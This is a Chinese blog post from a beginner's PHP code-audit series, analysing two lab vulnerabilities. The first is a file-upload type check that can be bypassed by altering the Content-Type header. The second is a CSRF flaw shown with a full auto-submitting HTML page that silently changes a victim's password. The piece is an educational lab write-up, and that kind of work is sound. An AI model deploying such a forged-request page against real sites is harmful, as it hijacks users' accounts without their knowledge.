PHP代码审计入门-文件上传漏洞和CSRF简单分析

0x00  写在前面

从零学习php,最终目的实现代码审计入门,软件采用sublime text,环境使用phpstudy搭建,数据库是navicat,需要有基本的前端基础、简单的php+mysql后端基础、渗透知识和漏洞原理,文章跟随流沙前辈学习记录,看看曾经遥不可及的代码审计能不能慢慢啃下来。

本章为代码审计入门学习第四篇,根据案例进行简单分析,一步步慢慢来。

0x01  文件上传漏洞

文件上传之前写过一篇有关靶场的文章,原理就不写了,主要学习一下代码层面。

靶场已经搭建完成,用户登陆后可以修改头像,发现定义好的upFile()

ctrl+左键,跟进到func.php,发现文件上传代码部分就是在此处审计。发现上面啥也没做限制,下面对于用户图片类型进行限制,已添加注释

 随意上传一个文件发现echo  文件类型不符合

打开burp测试绕过发现修改Content-Type类型即可绕过

 0x02  CSRF漏洞

CSRF攻击者用你自己的身份,以你自己的名义发送恶言请求。问题点就是http会话仍然存在并没有作判断,通常的解决方法是加token。

靶场已搭建完成,这里用户编辑自己资料从而修改密码

burp抓包发现这两处控制着密码修改(修改密码、确认密码)

实验需要两个,一个是要攻击的网址,一个是自己搭建的服务器网址。伪造一个请求网页,骗受害者访问网址,就可以自动跳转把密码修改

//test.html,骗用户点击访问自己服务器的该文件
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
     <form  name="form1" action="http://xx.xx.xx.xx/update_user.php" method="post" enctype="multipart/form-data">    //要攻击的网址
     		 <input type="hidden" class="form-control" name="user_email" value="">
          <input type="hidden" name="user_password" value="123"/>
		  <input type="hidden" name="user_password2" value="123"/>
		  <input type="file" class="form-control" name="user_pic">
     </form>
     <script>
          document.forms.form1.submit();
     </script>
</body>
</html>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值